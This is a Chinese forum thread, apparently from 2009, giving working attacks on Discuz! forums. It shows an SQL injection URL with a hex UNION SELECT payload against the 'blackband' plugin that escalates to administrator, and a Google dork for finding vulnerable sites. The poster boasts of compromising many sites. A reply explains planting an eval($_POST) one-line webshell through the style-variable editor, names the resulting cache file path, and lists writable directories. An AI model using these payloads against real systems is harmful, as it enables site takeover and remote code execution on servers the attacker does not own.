服务器维护,服务器代维,安全设置,漏洞扫描,入侵检测服务

运维之家

 找回密码
 注册
搜索
查看: 6013|回复: 2

Discuz!黑道生涯插件注射漏洞

[复制链接]
dirtysea 发表于 2009-8-14 23:41:53 | 显示全部楼层 |阅读模式
插件版本:2.2  2.5

一。注册一个论坛ID
二。IE提交下面代码

blackband.php?mode=yule&action=enjoy&id=2 and 1=2 union select 1,0x2D312C67726F757069643D312C61646D696E69643D31,3,4/

三。提升到管理员







我们分析一下为什么黑道生涯会存在这个漏洞?
黑道生涯写SQL数据库 直接读取config.inc.php所以在SQL方面过滤的也还是比较严的
但是还是那句天下没有不透风的墙
我兄弟前几天分析一下发现有个地方还是有漏洞地。因为漏洞现在很少人知道所以才能教0day啦
我昨天晚上拿下了蛮多站的。感觉这个漏洞成功率还是比较高的。
首先百度搜索关键词inurl:blackband.php 这个主要是搜索装黑道生涯的站我感觉拿谷歌效率更好真的。
找到黑道生涯后进去打劫一下让体力变低 只要不是100就可以了。
然后提交这句blackband.php?mode=yule&action=enjoy&id=2 and 1=2 union select 1,-2222222222222,3,4/* 这个其实是一个写入SQL数据库的 简单的说就SQL注入
然后提交这句blackband.php?mode=yule&action=enjoy&id=2 and 1=2 union select 1,0x2D312C67726F757069643D312C61646D696E69643D31,3,4/*,4/*如果顺利的恭喜米已经成为了管理员。
然后拿webshell就不要我说了吧。PHP小马。
 楼主| dirtysea 发表于 2009-8-14 23:55:27 | 显示全部楼层
discuz6.0 的后台拿shell就提交
admincp.php?action=styles&edit=1
最后得到的webshell地址还是forumdata/cache/style_1.php
 楼主| dirtysea 发表于 2009-8-14 23:56:12 | 显示全部楼层
我先声明:
1.这个不是我首发,很多牛牛很早之前就发现了,但没人公布,ring04h牛那貌似有个:http://ring04h.googlepages.com/dzshell.txt,估计知道的人很多了,我研究的少,知道迟了,惭愧惭愧;
2.我从拿到shell的IIS日志知道这里可以利用,即styles.inc.php这个文件,于是看了下,找到利用办法。后来经flyh4t提醒,居然与ring04h的那个方法一样,我落后了...
好了,不废话,看代码:
<?php
......
if(
$newcvar && $newcsubst
) {
            if(
$db->result_first("SELECT COUNT(*) FROM {$tablepre}stylevars WHERE variable='$newcvar' AND styleid='$id'"
)) {
               
cpmsg('styles_edit_variable_duplicate', '', 'error'
);
            } elseif(!
preg_match("/[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*/", $newcvar
)) {
               
cpmsg('styles_edit_variable_illegal', '', 'error'
);
            }
            
$newcvar = strtolower($newcvar
);
            
$db->query(
"INSERT INTO {$tablepre}stylevars (styleid, variable, substitute)
                VALUES ('$id', '$newcvar', '$newcsubst')"
);
        }
//插入变量数据,From www.oldjun.com
......
updatecache('styles');
//更新缓存(写文件),From www.oldjun.com
......
?>
这是为某一style风格增加变量的代码,把变量名与变量的值存入数据库,虽然post过来的数据daddslashes了,但入库之后又都是纯净的数据了。
这里涉及到一个正则问题,判断变量名的:!preg_match("/[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*/", $newcvar),其中“\x7f-\xff”是指ASCII码值在127~255之间的字符,它们经常作为中文字符的首字节出现,所以可以利用其作为中文匹配的标志。于是这个匹配貌似只是允许字母或者中文做变量名,没其他高深的匹配,随便测试了下,一般情况下这个正则等于虚设:
<?php
    $newcvar
=$_GET['newcvar'
];
    echo
$newcvar
;
    echo
"<br>"
;
    if(!
preg_match("/[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*/", $newcvar
)) {
                echo
"haha"
;
            }else{
                echo
'pass'
;
            }
   
?>
下面看看updatecache这个函数,在include里的cache.func.php文件里,先从数据库取出来,经过一段处理最终写入文件,具体我不描述了,我只谈谈重点,看一段函数:
function getcachevars($data, $type = 'VAR') {
    $evaluate = '';
    foreach($data as $key => $val) {
        if(is_array($val)) {
            $evaluate .= "\$$key = ".arrayeval($val).";\n";
        } else {
            $val = addcslashes($val, '\'\\');
            $evaluate .= $type == 'VAR' ? "\$$key = '$val';\n" : "define('".strtoupper($key)."', '$val');\n";
        }
    }
    return $evaluate;
}
啥也不说了,处理了value没处理key,而这个key就是之前我们提交的,干净的存在数据库里的值。关于数组的key,大家可以参考下幻影旅团第三期《高级PHP代码审核技术》,那篇文章好多地方谈到key的问题,dz这里却忽视了...
于是可以直接拿shell了,利用方法(论坛地址改成自己的),先用管理员帐号登陆后台,无需论坛创始人,管理员等级即可:
http://www.oldjun.com/bbs/admincp.php?action=styles&operation=edit&id=1&adv=1
中,最下面有个“自定义模板变量”,变量中填:
OLDJUN', '#999');eval($_POST[cmd]);//
替换内容随便输入:1111,然后提交,一句话木马就产生了:
http://www.oldjun.com/bbs/forumdata/cache/style_1.php
如果你修改的style的id是2的话,对于的shell就是style_2.php。
这个风格模板可以导入导出的,于是有了ring04h的那个dzshell,嫌麻烦可以直接用那个导入风格获取shell。
注:很多人反应连不上一句话,我发现我文章少说了一句:
$evaluate .= $type == 'VAR' ? "\$$key = '$val';\n" : "define('".strtoupper($key)."', '$val');\n";
这句话是说所有的变量名换成大写的了!
因此请用大写的CMD做为你一句话的密码!
附dz可写目录:
&#8226;附件目录 默认是 ./attachments
&#8226;数据目录 ./forumdata
&#8226;缓存目录 ./forumdata/cache
&#8226;数据目录 ./forumdata/templates
&#8226;主题缓存目录 ./forumdata/threadcaches
&#8226;缓存目录 ./forumdata/logs
&#8226;缓存目录 ./uc_client/data/cache
&#8226;缓存目录 ./uc_server/data
&#8226;缓存目录 ./uc_server/data/cache
&#8226;缓存目录 ./uc_server/data/view
&#8226;缓存目录 ./uc_server/data/avatar
&#8226;缓存目录 ./uc_server/data/logs
&#8226;缓存目录 ./uc_server/data/backup
&#8226;缓存目录 ./uc_server/data/tmp
您需要登录后才可以回帖 登录 | 注册

本版积分规则

QQ|小黑屋|手机版|Archiver|运维之家

GMT+8, 2024-3-29 16:13 , Processed in 0.131216 second(s), 14 queries .

Powered by Dirtysea

© 2008-2020 Dirtysea.com.

快速回复 返回顶部 返回列表